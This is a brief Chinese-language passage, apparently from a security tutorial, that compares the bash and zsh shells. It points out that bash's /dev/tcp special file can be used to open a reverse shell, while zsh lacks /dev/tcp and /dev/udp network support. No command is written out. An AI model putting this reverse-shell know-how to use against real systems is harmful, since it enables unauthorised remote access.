    • bashBash(/bin/bash)功能强大的交互式 Shell 解释器,提供了许多扩展和功能,使得编写和执行复杂的 Shell 脚本更加方便,最重要的是有 /dev/tcp 这样的特殊文件,可以进行 Shell 反弹。
  • zsh:Zsh(Z Shell)是一种功能强大的交互式 Shell 解释器,是对标准 Bourne Shell(sh)的扩展和改进,但 zsh 就不支持像 Bash 那样直接使用 /dev/tcp/dev/udp 设备文件来进行网络连接。